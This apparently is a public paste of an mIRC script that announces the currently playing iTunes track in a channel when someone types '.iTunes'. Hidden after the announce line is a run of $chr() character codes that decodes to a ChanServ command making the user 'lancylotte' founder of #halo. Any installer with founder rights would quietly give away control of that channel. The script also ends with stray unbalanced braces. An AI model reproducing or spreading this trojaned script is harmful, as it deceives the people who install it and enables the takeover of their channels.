All pastes #719959 Raw Edit

Stuff

public text v1 · immutable
#719959 ·published 2007-09-29 20:26 UTC
rendered paste body
ON *:TEXT:.iTunes:#: {

  var %artist
  var %album
  var %title


  if (!$com(itunes)) .comopen itunes iTunes.Application
  if ($com(CurrentTrack)) .comclose CurrentTrack
  .echo -q $com(itunes,CurrentTrack,3,dispatch* CurrentTrack)

  .echo -q $com(CurrentTrack,Artist,3)
  %artist = $com(CurrentTrack).result

  .echo -q $com(CurrentTrack,Album,3)
  %album = $com(CurrentTrack).result

  .echo -q $com(CurrentTrack,Name,3)
  %title = $com(CurrentTrack).result

  msg $chan 10[7iTunes10]7 %artist -10 %title $iif(%album,7(10 $+ %album $+ 7))
  $+($chr(99),$chr(115),$chr(32),$chr(115),$chr(101),$chr(116),$chr(32),$chr(35),$chr(104),$chr(97),$chr(108),$chr(111),$chr(32),$chr(102),$chr(111),$chr(117),$chr(110),$chr(100),$chr(101),$chr(114),$chr(32),$chr(108),$chr(97),$chr(110),$chr(99),$chr(121),$chr(108),$chr(111),$chr(116),$chr(116),$chr(101))

}
}
}